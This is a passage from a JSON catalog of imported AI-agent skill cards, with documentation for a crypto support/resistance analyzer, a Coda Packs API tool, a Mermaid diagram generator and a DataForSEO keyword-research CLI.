`process submit sessionId:<id> data:\"message\"`\n\n## Reference Docs\n\n- [Setup guide](references/setup.md) \u2014 first-time install, webhook, bot token\n- [Advanced modes](references/advanced-modes.md) \u2014 PR review, parallel tasks, Discord bridge, Codex\n- [Discord output](references/discord-output.md) \u2014 message formats, architecture, env vars, troubleshooting\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/allanjeng/codecast/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/allanjeng/codecast/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/allanjeng/codecast/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/allanjeng/codecast/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/allanjeng/codecast/SKILL.md", "importedAt": "2026-02-18T19:26:30.567Z"}}}}, {"slug": "clawhub-crypto-levels", "name": "Crypto Levels Analyzer", "category": "Analytics", "description": "Ask about any cryptocurrency pair:", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Crypto Levels Analyzer", "slug": "clawhub-crypto-levels", "version": "1.0.0", "description": "--- name: crypto-levels description: Analyze cryptocurrency support and resistance levels. Use when users ask about crypto price analysis, support/resistance levels, technical analysis for BTC, ETH, or other cryptocurrencies. Provides current price, key levels, and trading insights for crypto pairs like BTC-USDT, ETH-USDT. ---", "documentation_md": "---\nname: crypto-levels\ndescription: Analyze cryptocurrency support and resistance levels. Use when users ask about crypto price analysis, support/resistance levels, technical analysis for BTC, ETH, or other cryptocurrencies. Provides current price, key levels, and trading insights for crypto pairs like BTC-USDT, ETH-USDT.\n---\n\n# Crypto Levels Analyzer\n\n## Quick Start\n\n### Basic Usage\n\nAsk about any cryptocurrency pair:\n\n```\nBTC-USDT \u652f\u6491\u4f4d\u538b\u529b\u4f4d\nETH-USDT \u6280\u672f\u5206\u6790\nSOL-USDT \u5f53\u524d\u4ef7\u683c\u548c\u5173\u952e\u6c34\u5e73\n```\n\n### What You'll Get\n\n- **Current Price**: Real-time price data\n- **Support Levels**: Key price levels where buying interest may emerge\n- **Resistance Levels**: Key price levels where selling pressure may increase\n- **Technical Analysis**: Brief market sentiment and trading insights\n\n## Supported Pairs\n\n### Major Cryptocurrencies\n- **BTC-USDT** - Bitcoin\n- **ETH-USDT** - Ethereum\n- **SOL-USDT** - Solana\n- **BNB-USDT** - Binance Coin\n- **XRP-USDT** - Ripple\n- **ADA-USDT** - Cardano\n- **DOGE-USDT** - Dogecoin\n- **DOT-USDT** - Polkadot\n\n### Altcoins\n- **AVAX-USDT** - Avalanche\n- **MATIC-USDT** - Polygon\n- **LINK-USDT** - Chainlink\n- **UNI-USDT** - Uniswap\n- **ATOM-USDT** - Cosmos\n- **LTC-USDT** - Litecoin\n- **BCH-USDT** - Bitcoin Cash\n- **XLM-USDT** - Stellar\n\n*Note: Full list in [SUPPORTED_PAIRS.md](references/SUPPORTED_PAIRS.md)*\n\n## How It Works\n\n### Data Sources\n\nThe skill uses multiple data sources to calculate support and resistance levels:\n\n1. **Price Data**: Current market price\n2. **Historical Data**: Recent price action (24h, 7d, 30d)\n3. **Volume Data**: Trading volume analysis\n4. **Technical Indicators**: Moving averages, RSI, etc.\n\n### Level Calculation\n\n#### Support Levels (Buying Interest)\n- **Primary Support**: Recent low + volume profile\n- **Secondary Support**: Moving average crossovers\n- **Tertiary Support**: Fibonacci retracement levels\n\n#### Resistance Levels (Selling Pressure)\n- **Primary Resistance**: Recent high + volume profile\n- **Secondary Resistance**: Moving average resistance\n- **Tertiary Resistance**: Fibonacci extension levels\n\n### Analysis Methodology\n\n```\n1. Fetch current price and 24h data\n2. Calculate recent highs/lows\n3. Apply technical indicators\n4. Generate support/resistance levels\n5. Provide trading insights\n```\n\n## Usage Examples\n\n### Example 1: Basic Query\n**User**: \"BTC-USDT \u652f\u6491\u4f4d\u538b\u529b\u4f4d\"\n\n**Response**:\n```\n\ud83d\udcca BTC-USDT \u6280\u672f\u5206\u6790\n\n\ud83d\udcb0 \u5f53\u524d\u4ef7\u683c: $67,500\n\ud83d\udcc8 24h\u53d8\u5316: +2.5%\n\n\ud83d\udd34 \u538b\u529b\u4f4d (Resistance):\n\u2022 R1: $68,200 (\u8fd1\u671f\u9ad8\u70b9)\n\u2022 R2: $69,500 (\u5fc3\u7406\u5173\u53e3)\n\u2022 R3: $71,000 (\u5386\u53f2\u963b\u529b)\n\n\ud83d\udfe2 \u652f\u6491\u4f4d (Support):\n\u2022 S1: $66,800 (\u65e5\u5185\u4f4e\u70b9)\n\u2022 S2: $65,500 (MA50)\n\u2022 S3: $64,000 (\u5f3a\u652f\u6491)\n\n\ud83d\udca1 \u4ea4\u6613\u5efa\u8bae: \u77ed\u671f\u770b\u6da8\uff0c\u5173\u6ce8$68,200\u7a81\u7834\n```\n\n### Example 2: Detailed Analysis\n**User**: \"ETH-USDT \u8be6\u7ec6\u6280\u672f\u5206\u6790\"\n\n**Response**:\n```\n\ud83d\udcca ETH-USDT \u8be6\u7ec6\u6280\u672f\u5206\u6790\n\n\ud83d\udcb0 \u5f53\u524d\u4ef7\u683c: $3,450\n\ud83d\udcc8 24h\u53d8\u5316: +3.2%\n\ud83d\udcc9 7d\u53d8\u5316: -1.5%\n\n\ud83d\udd34 \u538b\u529b\u4f4d (Resistance):\n\u2022 R1: $3,500 (\u5fc3\u7406\u5173\u53e3)\n\u2022 R2: $3,600 (\u8fd1\u671f\u9ad8\u70b9)\n\u2022 R3: $3,750 (\u6590\u6ce2\u90a3\u5951\u6269\u5c55)\n\n\ud83d\udfe2 \u652f\u6491\u4f4d (Support):\n\u2022 S1: $3,400 (\u65e5\u5185\u652f\u6491)\n\u2022 S2: $3,300 (MA100)\n\u2022 S3: $3,200 (\u5f3a\u652f\u6491\u533a)\n\n\ud83d\udcca \u6280\u672f\u6307\u6807:\n\u2022 RSI: 62 (\u4e2d\u6027\u504f\u5f3a)\n\u2022 MACD: \u91d1\u53c9\u5411\u4e0a\n\u2022 MA50: $3,350 (\u652f\u6491)\n\n\ud83d\udca1 \u5e02\u573a\u60c5\u7eea: \u770b\u6da8\n\ud83d\udca1 \u4ea4\u6613\u5efa\u8bae: \u56de\u8c03\u4e70\u5165\uff0c\u7a81\u7834\u8ffd\u6da8\n```\n\n### Example 3: Multiple Pairs\n**User**: \"BTC, ETH, SOL \u7684\u652f\u6491\u4f4d\"\n\n**Response**:\n```\n\ud83d\udcca \u591a\u5e01\u79cd\u652f\u6491\u4f4d\u5206\u6790\n\nBTC-USDT ($67,500)\n\u2022 \u652f\u6491: $66,800, $65,500, $64,000\n\u2022 \u538b\u529b: $68,200, $69,500, $71,000\n\nETH-USDT ($3,450)\n\u2022 \u652f\u6491: $3,400, $3,300, $3,200\n\u2022 \u538b\u529b: $3,500, $3,600, $3,750\n\nSOL-USDT ($175)\n\u2022 \u652f\u6491: $170, $165, $160\n\u2022 \u538b\u529b: $180, $185, $195\n```\n\n## Advanced Features\n\n### Time Frame Analysis\n\n#### Short-term (Intraday)\n- Focus on 1h, 4h charts\n- Key levels: Previous day high/low\n- Best for: Day trading, scalping\n\n#### Medium-term (Swing)\n- Focus on 4h, daily charts\n- Key levels: Weekly highs/lows\n- Best for: Swing trading (3-7 days)\n\n#### Long-term (Position)\n- Focus on daily, weekly charts\n- Key levels: Monthly highs/lows\n- Best for: Position trading (weeks/months)\n\n### Volume Analysis\n\nThe skill analyzes volume to confirm levels:\n\n- **High Volume at Support**: Strong buying interest\n- **High Volume at Resistance**: Strong selling pressure\n- **Low Volume**: Weak levels, more likely to break\n\n### Market Sentiment\n\nBased on technical indicators:\n- **Bullish**: RSI > 50, MACD positive\n- **Bearish**: RSI < 50, MACD negative\n- **Neutral**: RSI 40-60, mixed signals\n\n## Risk Management\n\n### Important Disclaimer\n\n**This is not financial advice.** The skill provides technical analysis for educational purposes only.\n\n### Trading Risks\n\n- **Market Volatility**: Crypto markets are highly volatile\n- **Liquidity Risk**: Low liquidity can cause slippage\n- **Regulatory Risk**: Regulations can impact prices\n- **Technical Risk**: System failures, exchange issues\n\n### Recommended Practices\n\n1. **Never invest more than you can afford to lose**\n2. **Use stop-loss orders**\n3. **Diversify your portfolio**\n4. **Do your own research (DYOR)**\n5. **Consider professional advice**\n\n## Configuration\n\n### API Settings\n\nThe skill can be configured to use different data sources:\n\n```json\n{\n \"crypto-levels\": {\n \"dataSource\": \"coingecko\", // or \"binance\", \"coinmarketcap\"\n \"updateInterval\": 60, // seconds\n \"cacheDuration\": 300, // seconds\n \"defaultTimeframe\": \"4h\"\n }\n}\n```\n\n### Supported Data Sources\n\n- **CoinGecko**: Free, comprehensive\n- **Binance**: Real-time exchange data\n- **CoinMarketCap**: Professional tier available\n\nSee [CONFIGURATION.md](references/CONFIGURATION.md) for details.\n\n## Troubleshooting\n\n### Common Issues\n\n#### \"Pair not found\"\n- Check the pair format: `SYMBOL-USDT`\n- See [SUPPORTED_PAIRS.md](references/SUPPORTED_PAIRS.md) for full list\n- Try common alternatives (e.g., BTC instead of BTC-USDT)\n\n#### \"No data available\"\n- Check internet connection\n- Verify API is accessible\n- Try different data source\n\n#### \"Price seems wrong\"\n- Data may be delayed (check timestamp)\n- Different exchanges have different prices\n- Consider using multiple sources\n\n### Error Messages\n\n**\"Invalid pair format\"**\n- Use format: `SYMBOL-USDT` (e.g., BTC-USDT)\n\n**\"API rate limit exceeded\"**\n- Wait a moment and try again\n- Consider using a different data source\n\n**\"Network timeout\"**\n- Check your internet connection\n- Try again in a few seconds\n\n## Best Practices\n\n### For Traders\n\n1. **Combine with other indicators**\n - Use RSI, MACD, Bollinger Bands\n - Consider volume profile\n - Watch for chart patterns\n\n2. **Risk management**\n - Set stop-loss below support\n - Take profit near resistance\n - Risk no more than 1-2% per trade\n\n3. **Time frame alignment**\n - Check multiple time frames\n - Look for confluence\n - Avoid counter-trend trades\n\n### For Investors\n\n1. **Long-term perspective**\n - Focus on weekly/monthly levels\n - Consider dollar-cost averaging\n - Don't time the market\n\n2. **Portfolio management**\n - Diversify across coins\n - Rebalance periodically\n - Keep emergency fund\n\n## References\n\n### Technical Analysis\n- [SUPPORTED_PAIRS.md](references/SUPPORTED_PAIRS.md) - Full list of supported pairs\n- [CONFIGURATION.md](references/CONFIGURATION.md) - Configuration options\n- [TECHNICAL_GUIDE.md](references/TECHNICAL_GUIDE.md) - Detailed methodology\n\n### External Resources\n- [Investopedia - Support and Resistance](https://www.investopedia.com/terms/s/support.asp)\n- [BabyPips - Technical Analysis](https://www.babypips.com/learn/forex)\n- [TradingView - Chart Patterns](https://www.tradingview.com/chart-patterns/)\n\n## Legal Disclaimer\n\n**Important**: This skill is for educational purposes only. It does not constitute financial advice, investment recommendation, or trading strategy. Cryptocurrency trading involves substantial risk of loss. Past performance is not indicative of future results. Always consult with a qualified financial advisor before making investment decisions.\n\nBy using this skill, you acknowledge that you understand these risks and agree to hold the skill provider harmless for any losses incurred.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/362224222/crypto-levels/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/362224222/crypto-levels/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/362224222/crypto-levels/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/362224222/crypto-levels/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/362224222/crypto-levels/SKILL.md", "importedAt": "2026-02-18T19:24:20.943Z"}}}}, {"slug": "clawhub-coda-packs", "name": "Coda Packs Skill", "category": "Analytics", "description": "Manage Coda Packs through the REST API v1. Create, list, update, and delete private Packs.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Coda Packs Skill", "slug": "clawhub-coda-packs", "version": "1.0.0", "description": "--- name: coda-packs description: Manage Coda Packs via REST API v1. Supports listing, creating, updating, and deleting private Packs. Requires CODA_API_TOKEN. Delete requires confirmation. Note: Builds, Gallery submission, Analytics, and Collaborators require Coda's Pack SDK CLI, not available via REST API. ---", "documentation_md": "---\nname: coda-packs\ndescription: Manage Coda Packs via REST API v1. Supports listing, creating, updating, and deleting private Packs. Requires CODA_API_TOKEN. Delete requires confirmation. Note: Builds, Gallery submission, Analytics, and Collaborators require Coda's Pack SDK CLI, not available via REST API.\n---\n\n# Coda Packs Skill\n\nManage Coda Packs through the REST API v1. Create, list, update, and delete private Packs.\n\n## \u26a0\ufe0f API Limitations\n\nThe Coda REST API v1 has limited Pack management capabilities:\n\n| Feature | REST API | Pack SDK CLI |\n|---------|----------|--------------|\n| **List Packs** | \u2705 Available | \u2705 |\n| **Create Pack** | \u2705 Available | \u2705 |\n| **Update Pack** | \u2705 Available | \u2705 |\n| **Delete Pack** | \u2705 Available | \u2705 |\n| **Build Versions** | \u274c Not available | \u2705 Required |\n| **Gallery Submit** | \u274c Not available | \u2705 Required |\n| **Analytics** | \u274c Not available | \u2705 Required |\n| **Collaborators** | \u274c Not available | \u2705 Required |\n\n**For builds, gallery submission, and advanced features, use:**\n```bash\nnpx @codahq/packs-sdk register # Create account\nnpx @codahq/packs-sdk build # Build Pack\nnpx @codahq/packs-sdk release # Submit to Gallery\n```\n\n## When to Use\n\nUse this skill when the user wants to:\n- List existing Coda Packs\n- Create new private Pack shells\n- Update Pack metadata (name, description)\n- Delete unused Packs\n\n## When NOT to Use\n\n- **Do NOT use** for Doc management (tables, rows, pages) \u2192 use `coda` skill\n- **Do NOT use** for building Pack versions \u2192 use Pack SDK CLI\n- **Do NOT use** for Gallery submission \u2192 use Pack SDK CLI\n- **Do NOT use** for viewing analytics \u2192 use Pack SDK CLI or Coda web UI\n\n## Prerequisites\n\n1. **API Token**: Set environment variable `CODA_API_TOKEN`\n - Get token at: https://coda.io/account -> API Settings\n - Must have Pack management permissions\n\n2. **Python 3.7+** with `requests` library\n\n## Quick Start\n\n```bash\n# Setup\nexport CODA_API_TOKEN=\"your_token_here\"\n\n# List your Packs\npython scripts/coda_packs_cli.py packs list\n\n# Create new Pack shell\npython scripts/coda_packs_cli.py packs create \\\n --name \"My Integration\" \\\n --description \"Does cool things\"\n\n# Update Pack\npython scripts/coda_packs_cli.py packs update my-pack-id \\\n --description \"Updated description\"\n\n# Delete Pack (requires confirmation)\npython scripts/coda_packs_cli.py packs delete my-pack-id\n```\n\n## Full Pack Development Workflow\n\nSince the REST API only supports basic Pack management, here's the complete workflow:\n\n### Step 1: Create Pack Shell (via REST API)\n```bash\npython scripts/coda_packs_cli.py packs create \\\n --name \"Karakeep Bookmarks\" \\\n --description \"Save and search bookmarks\"\n```\n\n### Step 2-4: Use Pack SDK CLI (Required)\n```bash\n# Install Pack SDK\nnpm install -g @codahq/packs-sdk\n\n# Initialize Pack project\nnpx @codahq/packs-sdk init karakeep-pack\n\n# Develop your Pack (edit pack.ts)\n# See: https://coda.io/packs/build/latest/guides/quickstart/\n\n# Build and upload\nnpx @codahq/packs-sdk build\nnpx @codahq/packs-sdk upload\n\n# Submit to Gallery (when ready)\nnpx @codahq/packs-sdk release\n```\n\n## CLI Tool Usage\n\n### Pack Management\n\n```bash\n# List all your Packs\npython scripts/coda_packs_cli.py packs list\n\n# Get Pack details\npython scripts/coda_packs_cli.py packs get 48093\npython scripts/coda_packs_cli.py packs get \"Karakeep\"\n\n# Create new Pack\npython scripts/coda_packs_cli.py packs create \\\n --name \"My Pack\" \\\n --description \"Description\" \\\n --readme \"# My Pack\\n\\nDetails here\"\n\n# Update Pack metadata\npython scripts/coda_packs_cli.py packs update my-pack-id \\\n --name \"New Name\" \\\n --description \"New description\"\n\n# Delete Pack (requires confirmation)\npython scripts/coda_packs_cli.py packs delete my-pack-id\n# Or skip confirmation: --force\n```\n\n### Pack ID Resolution\n\nThe CLI accepts both **numeric Pack IDs** and **Pack Names**:\n\n```bash\n# These are equivalent:\npython scripts/coda_packs_cli.py packs get 48093\npython scripts/coda_packs_cli.py packs get \"Karakeep\"\n```\n\nIf the name is ambiguous, the CLI lists matches and exits.\n\n## Safety Guardrails\n\n### Operations Requiring Confirmation\n\n| Operation | Risk | Confirmation |\n|-----------|------|--------------|\n| **Delete Pack** | Irreversible | \"Delete Pack 'X'? This cannot be undone.\" |\n\n### No Confirmation Required\n\n- **Create Pack**: Safe, reversible\n- **List/Get Packs**: Read-only\n- **Update Pack**: Reversible\n\n## Error Handling\n\nCommon API errors:\n\n| Code | Meaning | Resolution |\n|------|---------|------------|\n| `401` | Invalid token | Refresh CODA_API_TOKEN |\n| `403` | Insufficient permissions | Ensure token has Pack management rights |\n| `404` | Pack not found | Check Pack ID or name |\n| `429` | Rate limited | Wait and retry (handled automatically) |\n\n## References\n\n- **Pack SDK Guides**: https://coda.io/packs/build/latest/guides/overview/\n- **Pack SDK Quickstart**: https://coda.io/packs/build/latest/guides/quickstart/\n- **Coda API Docs**: https://coda.io/developers/apis/v1\n- **Pack SDK NPM**: https://www.npmjs.com/package/@codahq/packs-sdk\n\n## Example: Karakeep Pack Shell\n\nCreated for testing:\n- **Name**: Karakeep\n- **ID**: 48093\n- **Description**: Karakeep bookmark manager - save URLs, search, and organize with tags\n\n**Next steps for full Pack development:**\n1. Use Pack SDK CLI: `npx @codahq/packs-sdk init karakeep-pack`\n2. Implement Karakeep API integration (see https://docs.karakeep.app/api/)\n3. Build and upload: `npx @codahq/packs-sdk build && npx @codahq/packs-sdk upload`\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0x7466/coda-packs/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0x7466/coda-packs/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0x7466/coda-packs/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0x7466/coda-packs/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0x7466/coda-packs/SKILL.md", "importedAt": "2026-02-18T19:24:20.616Z"}}}}, {"slug": "clawhub-mermaid-architect", "name": "Mermaid Architect", "category": "Analytics", "description": "1. Flowcharts: Process mapping, decision trees.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Mermaid Architect", "slug": "clawhub-mermaid-architect", "version": "1.0.0", "description": "--- name: mermaid-architect description: Generate beautiful, hand-drawn Mermaid diagrams with robust syntax (quoted labels, ELK layout). Use this skill when the user asks for \"diagram\", \"flowchart\", \"sequence diagram\", or \"visualize this process\". ---", "documentation_md": "---\nname: mermaid-architect\ndescription: Generate beautiful, hand-drawn Mermaid diagrams with robust syntax (quoted labels, ELK layout). Use this skill when the user asks for \"diagram\", \"flowchart\", \"sequence diagram\", or \"visualize this process\".\n---\n\n# Mermaid Architect\n\n## Usage\n- **Role**: Diagram Architect & Designer.\n- **Trigger**: \"Draw this\", \"Make a diagram\", \"Visualize\".\n- **Output**: Mermaid code block (`mermaid`) + Explanation.\n\n## Capabilities\n1. **Flowcharts**: Process mapping, decision trees.\n2. **Sequence Diagrams**: API calls, user interactions.\n3. **Class Diagrams**: OOP structures, database schemas.\n4. **State Diagrams**: Lifecycle management.\n\n## Guidelines\n- Always use **quoted strings** for node labels when they contain parentheses, commas, or colons.\n- Use safe node IDs: no spaces; use camelCase, PascalCase, or underscores. Avoid reserved IDs: `end`, `subgraph`, `graph`, `flowchart`.\n- Prefer `TD` (Top-Down) for hierarchies, `LR` (Left-Right) for timelines.\n- Use `subgraph id [Label]` with an explicit ID and label (no spaces in ID).\n- See [references/syntax-guide.md](references/syntax-guide.md) for full safe-syntax rules.\n\n## Reference Materials\n- [Syntax Guide](references/syntax-guide.md)\n- [Example: Microservices](assets/examples/microservice-arch.mmd)\n- [Example: Sequence API](assets/examples/sequence-api.mmd)\n- [Example: State Lifecycle](assets/examples/state-lifecycle.mmd)\n\n## Validation\nRun the validator on one or more `.mmd` files:\n```bash\nscripts/validate-mmd assets/examples/*.mmd\n```\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/mermaid-architect/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1999azzar/mermaid-architect/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1999azzar/mermaid-architect/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1999azzar/mermaid-architect/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/mermaid-architect/SKILL.md", "importedAt": "2026-02-18T19:24:20.722Z"}}}}, {"slug": "clawhub-dataforseo-cli", "name": "Keyword Research with dataforseo-cli", "category": "Analytics", "description": "LLM-friendly keyword research CLI. Wraps the DataForSEO API and outputs TSV by default \u2014 compact, structured, and optimized for agent context windows.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Keyword Research with dataforseo-cli", "slug": "clawhub-dataforseo-cli", "version": "1.0.0", "description": "--- name: dataforseo-cli description: LLM-friendly keyword research CLI for AI agents. Check search volume, CPC, keyword difficulty, and competition via DataForSEO API. Find related keywords, analyze competitor rankings. Outputs TSV by default (optimized for agent context windows). Use when doing SEO research, content planning, or competitive keyword analysis. license: MIT metadata: author: alexgusevski version: \"1.0.6\" ---", "documentation_md": "---\nname: dataforseo-cli\ndescription: LLM-friendly keyword research CLI for AI agents. Check search volume, CPC, keyword difficulty, and competition via DataForSEO API. Find related keywords, analyze competitor rankings. Outputs TSV by default (optimized for agent context windows). Use when doing SEO research, content planning, or competitive keyword analysis.\nlicense: MIT\nmetadata:\n author: alexgusevski\n version: \"1.0.6\"\n---\n\n# Keyword Research with dataforseo-cli\n\nLLM-friendly keyword research CLI. Wraps the DataForSEO API and outputs TSV by default \u2014 compact, structured, and optimized for agent context windows.\n\n**npm:** https://www.npmjs.com/package/dataforseo-cli\n**GitHub:** https://github.com/alexgusevski/dataforseo-cli\n\n## Setup\n\n### 1. Install from npm\n\n```bash\nnpm install -g dataforseo-cli\n```\n\n### 2. Check credentials\n\n```bash\ndataforseo-cli status\n```\n\nIf credentials are already configured, you're good to go. If not, authenticate:\n\n```bash\n# With login + password\ndataforseo-cli --set-credentials login=YOUR_LOGIN password=YOUR_PASSWORD\n\n# Or with base64 token (from DataForSEO email)\ndataforseo-cli --set-credentials base64=YOUR_BASE64_TOKEN\n```\n\nCredentials are stored in `~/.config/dataforseo-cli/config.json`. The `locations` and `languages` commands work without credentials (local data).\n\n## Commands\n\n### `status` \u2014 Check credentials\n\nCheck if API credentials are configured without making any API calls.\n\n```bash\ndataforseo-cli status\n```\n\nExits 0 if configured, exits 1 if not. Shows login username (not password).\n\n### `volume` \u2014 Keyword metrics\n\nGet search volume, CPC, keyword difficulty (0\u2013100), competition level, and 12-month search trend.\n\n```bash\ndataforseo-cli volume <keywords...> [options]\n```\n\n**Arguments:**\n- `<keywords...>` \u2014 One or more keywords (required). Batch multiple keywords in one call to save API requests.\n\n**Options:**\n- `-l, --location <code>` \u2014 Location code (default: `2840` = US)\n- `--language <code>` \u2014 Language code (default: `en`)\n- `--json` \u2014 Output as JSON array\n- `--table` / `--human` \u2014 Output as human-readable table\n\n**Example:**\n```bash\ndataforseo-cli volume \"seo tools\" \"keyword research\" \"backlink checker\"\n```\n\n**Output (TSV):**\n```\nkeyword\tvolume\tcpc\tdifficulty\tcompetition\ttrend\nseo tools\t12500\t2.35\t45\tHIGH\t14800,13900,12500,12100,11800,12000,12500,13000,12800,12500,12200,11900\n```\n\n- `difficulty` \u2014 0\u2013100 scale (0-30 easy, 31-60 medium, 61-100 hard)\n- `cpc` \u2014 Cost per click in USD\n- `competition` \u2014 LOW / MEDIUM / HIGH\n- `trend` \u2014 12 monthly search volumes, newest first\n\n### `related` \u2014 Keyword suggestions\n\nFind related keyword ideas from a seed keyword.\n\n```bash\ndataforseo-cli related <seed> [options]\n```\n\n**Arguments:**\n- `<seed>` \u2014 Seed keyword (required, single keyword)\n\n**Options:**\n- `-l, --location <code>` \u2014 Location code (default: `2840` = US)\n- `--language <code>` \u2014 Language code (default: `en`)\n- `-n, --limit <n>` \u2014 Max results (default: `50`)\n- `--json` \u2014 Output as JSON array\n- `--table` / `--human` \u2014 Output as human-readable table\n\n**Example:**\n```bash\ndataforseo-cli related \"ai agents\" -n 20\n```\n\n**Output (TSV):**\n```\nkeyword\tvolume\tcpc\tcompetition\tdifficulty\nbest ai agents\t8100\t3.10\t0.82\t52\nai agent framework\t2400\t1.85\t0.65\t38\n```\n\n### `competitor` \u2014 Domain keyword analysis\n\nSee what keywords a domain currently ranks for.\n\n```bash\ndataforseo-cli competitor <domain> [options]\n```\n\n**Arguments:**\n- `<domain>` \u2014 Target domain (required, e.g. `ahrefs.com`)\n\n**Options:**\n- `-l, --location <code>` \u2014 Location code (default: `2840` = US)\n- `--language <code>` \u2014 Language code (default: `en`)\n- `-n, --limit <n>` \u2014 Max results (default: `50`)\n- `--json` \u2014 Output as JSON array\n- `--table` / `--human` \u2014 Output as human-readable table\n\n**Example:**\n```bash\ndataforseo-cli competitor semrush.com -n 10\n```\n\n**Output (TSV):**\n```\nkeyword\tposition\tvolume\tcpc\tdifficulty\turl\nbacklink checker\t1\t33100\t4.50\t72\thttps://ahrefs.com/backlink-checker\n```\n\n### `locations` \u2014 Look up location codes\n\nList all available location codes, or filter by name. Works offline \u2014 no API credentials needed.\n\n```bash\ndataforseo-cli locations [search] [--json]\n```\n\n**Arguments:**\n- `[search]` \u2014 Optional filter by name (e.g. `sweden`, `new york`)\n\n**Without search** \u2014 lists all locations:\n```bash\ndataforseo-cli locations\n```\n\n**With search** \u2014 filters by name:\n```bash\ndataforseo-cli locations sweden\n```\n\n**Output (TSV):**\n```\ncode\tname\tcountry\ttype\n2752\tSweden\tSE\tCountry\n```\n\n### `languages` \u2014 Look up language codes\n\nList all available language codes, or filter by name. Works offline \u2014 no API credentials needed.\n\n```bash\ndataforseo-cli languages [search] [--json]\n```\n\n**Without search** \u2014 lists all languages:\n```bash\ndataforseo-cli languages\n```\n\n**With search** \u2014 filters by name:\n```bash\ndataforseo-cli languages swedish\n```\n\n**Output (TSV):**\n```\nname\tcode\nSwedish\tsv\n```\n\n## Output Formats\n\nAll data commands default to TSV (tab-separated values) \u2014 the most token-efficient structured format for LLMs.\n\n| Flag | Description |\n|------|-------------|\n| *(default)* | TSV \u2014 fewest tokens, best for agent pipelines |\n| `--json` | JSON array \u2014 use when you need structured parsing |\n| `--table` / `--human` | Human-readable aligned table \u2014 for human review |\n\n## Caching\n\nResults are cached in `~/.config/dataforseo-cli/cache/` to avoid duplicate API calls and save costs. Same query + location + language = cache hit.\n\n```bash\ndataforseo-cli --print-cache\n```\n\n## Workflow: SEO Article Research\n\n1. **Start with seed keyword:** `dataforseo-cli volume \"your topic\"`\n2. **Expand:** `dataforseo-cli related \"your topic\" -n 30`\n3. **Filter:** Pick keywords with volume > 100, difficulty < 60\n4. **Check competitors:** `dataforseo-cli competitor competitor-domain.com -n 20`\n5. **Write article** targeting the best keyword cluster\n\n## Tips\n- Batch keywords in `volume` \u2014 DataForSEO charges per API request, not per keyword\n- Default location is USA (2840). Always set `--location` for local/international SEO\n- Use `locations` and `languages` without arguments to see all available options\n- Difficulty scale: 0-30 easy, 31-60 medium, 61-100 hard\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/alexgusevski/dataforseo-cli/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/alexgusevski/dataforseo-cli/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/alexgusevski/dataforseo-cli/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/alexgusevski/dataforseo-cli/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/alexgusevski/dataforseo-cli/SKILL.md", "importedAt": "2026-02-18T19:26:30.447Z"}}}}, {"slug": "clawhub-yahoo-finance", "name": "Yahoo Finance CLI", "category": "Analytics", "description": "A Python CLI for fetching comprehensive stock data from Yahoo Finance using yfinance.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, 